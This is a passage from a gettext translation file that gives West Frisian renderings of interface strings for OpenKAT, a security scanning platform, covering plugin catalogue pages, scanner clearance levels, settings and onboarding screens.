katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Produces\"\nmsgstr \"Produsearret\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#, python-format\nmsgid \"%(plugin_name)s can produce the following output:\"\nmsgstr \"%(plugin_name)s kin it folgjende produsearje:\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s doesn't produce any output mime types.\"\nmsgstr \"%(plugin_name)s produsearret gjin inkelde útfier mimetypes.\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje variant setup\"\nmsgstr \"Boefje-fariant ynstelle\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/ooi_edit.py rocky/views/organization_edit.py\nmsgid \"Edit\"\nmsgstr \"Bewurkje\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje setup\"\nmsgstr \"Boefje ynstelle\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"\"\n\"You can create a new Boefje. If you want more information on this, you can \"\n\"check out the <a href=\\\"https://docs.openkat.nl/developer_documentation/\"\n\"development_tutorial/creating_a_boefje.html\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Save changes\"\nmsgstr \"Wizigingen bewarje\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard changes\"\nmsgstr \"Wizigingen ferwerpe\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create variant\"\nmsgstr \"Fariant oanmeitsje\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard variant\"\nmsgstr \"Fariant ferwerpe\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create new Boefje\"\nmsgstr \"Nij Boefje meitsje\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard new Boefje\"\nmsgstr \"Nij Boefje ferwerpe\"\n\n#: katalogus/templates/boefjes.html\nmsgid \"Add Boefje\"\nmsgstr \"Boefje tafoegje\"\n\n#: katalogus/templates/boefjes.html katalogus/templates/katalogus.html\n#: katalogus/templates/normalizers.html\nmsgid \"available\"\nmsgstr \"beskikber\"\n\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"scan level warning\"\nmsgstr \"Warskôging frijwarringsnivo\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"%(plugin_name)s will only scan objects with a corresponding clearance level \"\n\"of <strong>L%(scan_level)s</strong> or higher.\"\nmsgstr \"\"\n\"%(plugin_name)s kin allinnich objekten scanne mei in oerienkommend \"\n\"frijwarringsnivo fan <strong>L%(scan_level)s</strong> of heger.\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Scan object\"\nmsgstr \"Objekt scanne\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"The following objects are not yet cleared for level %(scan_level)s, please \"\n\"be advised that by continuing you will declare a level %(scan_level)s on \"\n\"these objects.\"\nmsgstr \"\"\n\"De folgjende objekten hawwe gjin frijwarringsnivo fan %(scan_level)s, wês \"\n\"wis dat, wannear’t jo trochgean, jo in frijwarring nei nivo %(scan_level)s \"\n\"foar dizze objekten ynstelle.\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected objects\"\nmsgstr \"Selektearre objekten\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html rocky/views/mixins.py\nmsgid \"Object\"\nmsgstr \"Objekt\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Are you sure you want to scan anyways?\"\nmsgstr \"Binne jo wis dat jo dochs trochgean wolle mei scannen?\"\n\n#: katalogus/templates/change_clearance_level.html\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Scan\"\nmsgstr \"Scanne\"\n\n#: katalogus/templates/clone_settings.html\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone settings\"\nmsgstr \"Ynstellingen klone\"\n\n#: katalogus/templates/clone_settings.html\n#, python-format\nmsgid \"\"\n\"Use the form below to clone the settings from \"\n\"<strong>%(current_organization)s</strong> to the selected organization. This \"\n\"includes both the KAT-alogus settings as well as enabled and disabled \"\n\"plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone\"\nmsgstr \"Klone\"\n\n#: katalogus/templates/katalogus.html\nmsgid \"All plugins\"\nmsgstr \"Alle ynstekkers\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"KAT-alogus settings\"\nmsgstr \"KAT-alogus-ynstellingen\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"\"\n\"There are currently no settings defined. Add settings at the plugin detail \"\n\"page.\"\nmsgstr \"\"\n\"Der binne op dit stuit gjin ynstellingen konfigurearre. Foegje ynstellingen \"\n\"ta op de detailside fan de ynstekker.\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Go back\"\nmsgstr \"Gean werom\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"This is an overview of the latest settings of all plugins.\"\nmsgstr \"Dit is in oersjoch fan de lêste ynstellingen fan alle ynstekkers.\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"Latest plugin settings\"\nmsgstr \"Lêste ynstekkerynstellingen\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"Plugin\"\nmsgstr \"Ynstekker\"\n\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_settings_list.html\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Value\"\nmsgstr \"Wearde\"\n\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to process the following mime types:\"\nmsgstr \"%(plugin_name)s is yn steat de folgjende mime-typen te ferwurkjen:\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"This object type is required\"\nmsgstr \"Dit objekttype is fereaske\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Scan level:\"\nmsgstr \"Frijwarringsnivo:\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Publisher:\"\nmsgstr \"Utjouwer:\"\n\n#: katalogus/templates/partials/boefje_tile.html\n#: katalogus/templates/partials/plugin_tile.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"See details\"\nmsgstr \"Details besjen\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\nmsgid \"Enable\"\nmsgstr \"Ynskeakelje\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable\"\nmsgstr \"Utskeakelje\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Hide filters\"\nmsgstr \"Filters ferstopje\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Show filters\"\nmsgstr \"Filters toane\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"applied\"\nmsgstr \"tapast\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Filter plugins\"\nmsgstr \"Ynstekkers filterje\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Clear filter\"\nmsgstr \"Filters wiskje\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/views/change_clearance_level.py katalogus/views/katalogus.py\n#: katalogus/views/katalogus_settings.py katalogus/views/plugin_detail.py\n#: katalogus/views/plugin_settings_add.py\n#: katalogus/views/plugin_settings_delete.py\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"KAT-alogus\"\nmsgstr \"KAT-alogus\"\n\n#: katalogus/templates/partials/katalogus_header.html\nmsgid \"An overview of all available plugins.\"\nmsgstr \"In oersjoch fan alle beskikbere ynstekkers.\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/templates/plugin_settings_list.html\n#: katalogus/views/katalogus_settings.py tools/view_helpers.py\n#: rocky/templates/header.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Settings\"\nmsgstr \"Ynstellingen\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Gridview\"\nmsgstr \"Rasterwerjefte\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Tableview\"\nmsgstr \"Tabelwerjefte\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Required for\"\nmsgstr \"Fereaske foar\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"report types\"\nmsgstr \"rapporttypen\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Report types for \"\nmsgstr \"Rapporttypen foar \"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"No permission to enable/disable plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"Contact your administrator to request permission.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"This Boefje will only scan objects with a corresponding clearance level of \"\n\"<strong>L%(scan_level)s</strong> or higher. There is no indemnification for \"\n\"this Boefje to scan an OOI with a lower clearance level than \"\n\"<strong>L%(scan_level)s</strong>. Use the filter to show OOI's with a lower \"\n\"clearance level.\"\nmsgstr \"\"\n\"Dit Boefke scant allinnich objekten mei in oerienkomstich frijwarringsnivo \"\n\"fan <strong>(%(scan_level)s)</strong> of heger. Der is gjin frijwarring foar \"\n\"dit Boefke om in OOI mei in leger scannivo te scannen \"\n\"as<strong>L%(scan_level)s</strong>. Brûk it filter om OOI’s mei in legere \"\n\"frijwarringsnivo te toanen.\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"Warning scan level:\"\nmsgstr \"Warskôging scannivo:\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"\"\n\"Scanning OOI's with a lower clearance level will result in OpenKAT \"\n\"increasing the clearance level on that OOI, not only for this scan but from \"\n\"now on out, until it manually gets set to something else again. This means \"\n\"that all other enabled Boefjes will use this higher clearance level aswel.\"\nmsgstr \"\"\n\"OOI’s mei in leger frijwarringsnivo scanne, sil resultearje yn it ferheegjen \"\n\"fan it frijwarringsnivo op dy OOI, net allinnich foar dizze scan, mar fan no \"\n\"ôf, oant it hânmjittich wer nei wat oars ynsteld wurdt. Dit betsjut dat alle \"\n\"oare ynskeakele Boefjes dit hegere frijwarringsnivo brûke sille.\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have any objects that meet the scan level of %(name)s. \"\n\"Add objects with a complying clearance level, or alter the clearance level \"\n\"of existing objects.\"\nmsgstr \"\"\n\"Jo hawwe op dit stuit gjin objekten dy’t foldogge oan it scannivo fan \"\n\"%(name)s. Foegje objekten ta mei in foldwaand frijwarringsnivo, of wizigje \"\n\"it frijwarringsnivo fan besteande objekten.\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have scannable objects for %(name)s. Add objects to use \"\n\"this Boefje. This Boefje is able to scan objects of the following types:\"\nmsgstr \"\"\n\"Jo hawwe op dit stuit gjin scanbare objekten foar %(name)s. Foegje objekten \"\n\"ta om dit Boefje te brûken. Dit Boefje kin objekten scanne fan de folgjende \"\n\"typen:\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"The form could not be initialized.\"\nmsgstr \"It formulier kin net ophelle wurde.\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"Required settings\"\nmsgstr \"Ferplichte ynstellingen\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Add\"\nmsgstr \"Tafoegje\"\n\n#: katalogus/templates/partials/plugin_tile.html\nmsgid \"Required for:\"\nmsgstr \"Fereaske foar:\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Boefje details\"\nmsgstr \"Boefje-details\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html reports/forms.py\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report types\"\nmsgstr \"Rapporttypen\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"This boefje is required by the following report types.\"\nmsgstr \"Dit Boefje is fereaske foar de folgjende rapporttypen.\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Go to boefje detail page\"\nmsgstr \"Gean nei detailsside fan Boefje\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Plugins overview:\"\nmsgstr \"Oersjoch ynstekkers:\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin name\"\nmsgstr \"Ynstekkernamme\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin type\"\nmsgstr \"Ynstekkertype\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin description\"\nmsgstr \"Ynstekkerbeskriuwing\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/partials/report_header.html\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Actions\"\nmsgstr \"Aksjes\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Detail page\"\nmsgstr \"Detailside\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Plugins Navigation\"\nmsgstr \"Ynstekkersnavigaasje\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Boefjes\"\nmsgstr \"Boefkes\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Normalizers\"\nmsgstr \"Normalizers\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: tools/forms/scheduler.py\nmsgid \"All\"\nmsgstr \"Alle\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Container image\"\nmsgstr \"Kontenerôfbylding\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The container image for this Boefje is:\"\nmsgstr \"De kontenerôfbylding foar dit Boefje is:\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Variants\"\nmsgstr \"Farianten\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"Boefje variants that use the same container image. For more information \"\n\"about Boefje variants you can read the documentation.\"\nmsgstr \"\"\n\"Boefke-farianten dy’t deselde kontener-image brûke. Foar mear ynformaasje \"\n\"oer Boefke-farianten kinne jo de dokumintaasje lêze.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Add variant\"\nmsgstr \"Fariant tafoegje\"\n\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"confirmation\"\nmsgstr \"befêstiging\"\n\n#: katalogus/templates/plugin_container_image.html\n#, python-format\nmsgid \"Variant %(plugin.name)s created.\"\nmsgstr \"Fariant %(plugin.name)s oanmakke.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The Boefje variant is successfully created and can now be used.\"\nmsgstr \"De Boefje-fariant is mei sukses oanmakke en kin no brûkt wurde.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Overview of variants\"\nmsgstr \"Oersjoch fan farianten\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/plugin_overview_table.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Status\"\nmsgstr \"Status\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Age\"\nmsgstr \"Leeftiid\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan interval\"\nmsgstr \"Scanynterval\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Run on\"\nmsgstr \"Draaie op\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"current\"\nmsgstr \"aktueel\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\nmsgid \"minutes\"\nmsgstr \"minuten\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Default system scan frequency\"\nmsgstr \"Standert systeemscanfrekwinsje\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Boefje ID\"\nmsgstr \"Boefje-ID\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Creation date\"\nmsgstr \"Oanmaakdatum\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Arguments\"\nmsgstr \"Arguminten\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The following arguments are used for this Boefje variant:\"\nmsgstr \"Foar dizze Boefje-fariant binne de folgjende arguminten brûkt:\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"There are no arguments used for this Boefje variant.\"\nmsgstr \"Der binne gjin arguminten foar dizze Boefje-fariant.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Edit variant\"\nmsgstr \"Fariant bewurkje\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"This Boefje has no variants yet.\"\nmsgstr \"Dit Boefje hat noch gjin farianten.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"You can make a variant and change the arguments and JSON Schema to customize \"\n\"it to fit your needs.\"\nmsgstr \"\"\n\"Jo kinne in fariant meitsje en de arguminten en it JSON-skema wizigje om it \"\n\"nei eigen idee oan te passen.\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting\"\nmsgid_plural \"Add settings\"\nmsgstr[0] \"Ynstelling tafoegje\"\nmsgstr[1] \"Ynstellingen tafoegje\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Setting\"\nmsgid_plural \"Settings\"\nmsgstr[0] \"Ynstelling\"\nmsgstr[1] \"Ynstellingen\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting and enable boefje\"\nmsgid_plural \"Add settings and enable boefje\"\nmsgstr[0] \"Ynstelling tafoegje en Boefke ynskeakelje\"\nmsgstr[1] \"Ynstellingen tafoegje en Boefke ynskeakelje\"\n\n#: katalogus/templates/plugin_settings_delete.html\nmsgid \"Delete settings\"\nmsgstr \"Ynstellingen fuortsmite\"\n\n#: katalogus/templates/plugin_settings_delete.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete all settings for the plugin %(plugin_name)s?\"\nmsgstr \"\"\n\"Binne jo wis dat jo de ynstellingen foar de ynstekker %(plugin_name)s \"\n\"fuortsmite wolle?\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"\"\n\"In the table below the settings for this specific Boefje can be seen. Set or \"\n\"change the value of the variables by editing the settings.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Configure Settings\"\nmsgstr \"Ynstellingen konfigurearje\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Overview of settings\"\nmsgstr \"Ynstellingenoersjoch\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Variable\"\nmsgstr \"Fariabele\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Session has terminated, please select objects again.\"\nmsgstr \"Sesje is beëinige, selektearje objekten opnij.\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Change clearance level\"\nmsgstr \"Frijwarringsnivo wizigje\"\n\n#: katalogus/views/katalogus_settings.py\nmsgid \"Settings from {} to {} successfully cloned.\"\nmsgstr \"Ynstellingen mei sukses fan {} nei {} út kloand.\"\n\n#: katalogus/views/katalogus_settings.py\n#: katalogus/views/plugin_settings_list.py\nmsgid \"Failed getting settings for boefje {}\"\nmsgstr \"Kin ynstellingen foar Boefje {} net ophelje\"\n\n#: katalogus/views/mixins.py\nmsgid \"\"\n\"Getting information for plugin {} failed. Please check the KATalogus logs.\"\nmsgstr \"\"\n\"It opheljen fan ynformaasje foar ynstekker {} is mislearre. Kontrolearje de \"\n\"KAT-alogus-lochboeken.\"\n\n#: katalogus/views/plugin_detail.py\nmsgid \"\"\n\"Some selected OOIs needs an increase of clearance level to perform scans. \"\n\"You do not have the permission to change clearance level.\"\nmsgstr \"\"\n\"Guon selektearre OOI’s fereaskje in heger frijwarringsnivo om scans út te \"\n\"fieren. Jo binne net machtige om it frijwarringsnivo te wizigjen.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' disabled.\"\nmsgstr \"{} ‘{}’ útskeakele.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' enabled.\"\nmsgstr \"{} ‘{}’ ynskeakele.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"You have not acknowledged your clearance level. Go to your profile page to \"\n\"acknowledge your clearance level.\"\nmsgstr \"\"\n\"Jo hawwe jo frijwarringsnivo net akseptearre. Gean nei jo profylside om jo \"\n\"frijwarringsnivo te akseptearjen.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is not set. Go to your profile page to see your \"\n\"clearance or contact the administrator to set a clearance level.\"\nmsgstr \"\"\n\"Jo frijwarringsnivo is net ynsteld. Gean nei jo profylside om jo frijwarring \"\n\"te kontrolearjen of nim kontakt op mei de behearder om in frijwarringsnivo \"\n\"yn te stellen.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is L{}. Contact your administrator to get a higher \"\n\"clearance level.\"\nmsgstr \"\"\n\"Jo frijwarringsnivo is L{}. Nim kontakt op mei jo behearder om in heger \"\n\"frijwarringsnivo te krijen.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"To enable {} you need at least a clearance level of L{}. \"\nmsgstr \"\"\n\"Om {} yn te skeakeljen hawwe jo minimaal ien frijwarringsnivo fan L{} \"\n\"nedich. \"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Trying to add settings to boefje without schema\"\nmsgstr \"Probearje ynstellingen ta te foegjen oan Boefje sûnder skema\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"No changes to the settings added: no form data present\"\nmsgstr \"\"\n\"Gjin wizigingen oan de ynstellingen tafoege: gjin formuliergegevens oanwêzich\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Added settings for '{}'\"\nmsgstr \"Tafoege ynstellingen foar ‘{}’\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Failed adding settings\"\nmsgstr \"Ynstellingen tafoegje mislearre\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Enabling {} failed\"\nmsgstr \"It ynskeakeljen fan {} is mislearre\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Boefje '{}' enabled.\"\nmsgstr \"Boefje ‘{}’ ynskeakele.\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Add settings\"\nmsgstr \"Ynstellingen tafoegje\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Settings for plugin {} successfully deleted.\"\nmsgstr \"Ynstellingen foar ynstekker {} mei sukses fuortsmiten.\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Plugin {} has no settings.\"\nmsgstr \"Ynstekker {} hat gjin ynstellingen.\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"\"\n\"Failed deleting Settings for plugin {}. Check the Katalogus logs for more \"\n\"info.\"\nmsgstr \"\"\n\"Fuortsmiten fan ynstellingen foar ynstekker {} mislearre. Kontrolearje de \"\n\"Katalogus-lochboeken foar mear ynformaasje.\"\n\n#: onboarding/forms.py\nmsgid \"\"\n\"The clearance level determines how aggressive the object can be scanned by \"\n\"plugins. A higher clearance level means more aggressive scans are allowed.\"\nmsgstr \"\"\n\n#: onboarding/forms.py tools/forms/ooi.py\nmsgid \"explanation-clearance-level\"\nmsgstr \"taljochting-frijwarrings-nivo\"\n\n#: onboarding/forms.py\nmsgid \"Please enter a valid URL starting with 'http://' or 'https://'.\"\nmsgstr \"Fier in jildige URL yn begjinnend mei ‘http://’ of ‘https://’.\"\n\n#: onboarding/templates/partials/onboarding_header.html\nmsgid \"Onboarding\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"Welcome to OpenKAT!\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"Welcome to the onboarding of OpenKAT. We will walk you through some steps to \"\n\"set everything up.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"At the end of this onboarding you have added your first object, created your \"\n\"first DNS report and learned about some basic concepts used within OpenKAT.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"The full documentation for OpenKAT can be found at:\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\n#: rocky/templates/organizations/organization_add.html\nmsgid \"Organization setup\"\nmsgstr \"Organisaasje-ynstellingen\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\nmsgid \"\"\n\"Please enter the following organization details. The organization name can \"\n\"be changed later in the interface. The organization code cannot be changed \"\n\"as this is used by the database.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\n#: reports/report_types/concatenated_report/report.py\nmsgid \"Report\"\nmsgstr \"Rapport\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Boefjes are scanning\"\nmsgstr \"De Boefkes binne oan it scannen\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"The enabled Boefjes are running in the background to gather the data for \"\n\"your DNS Report. This may take a few minutes.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"In the meantime you can explore OpenKAT and view your DNS Report on the \"\n\"Reports page once it has been generated.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Continue to OpenKAT\"\nmsgstr \"\"\n\n#: onboarding/templates/step_1_introduction_registration.html\n#: onboarding/templates/step_1a_introduction.html\nmsgid \"Let's get started\"\nmsgstr \"Begjin hjir\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: onboarding/templates/step_2b_organization_update.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization details\"\nmsgstr \"Organisaasjedetails\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: rocky/templates/forms/json_schema_form.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_member_add.html\n#: rocky/templates/organizations/organization_member_add_account_type.html\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\n#: rocky/templates/partials/form/indemnification_add_form.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Submit\"\nmsgstr \"Yntsjinje\"\n\n#: onboarding/templates/step_2b_organization_update.html\nmsgid \"Submit changes\"\nmsgstr \"Wizigingen bewarje\"\n\n#: onboarding/templates/step_2b_organization_update.html\n#: onboarding/templates/step_3_indemnification_setup.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Continue\"\nmsgstr \"Trochgean\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification setup\"\nmsgstr \"Frijwarring opstelle\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification on the organization is already present.\"\nmsgstr \"Frijwarringsnivo op de organisaasje is al oanwêzich.\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"User clearance level\"\nmsgstr \"\"\n\n#: 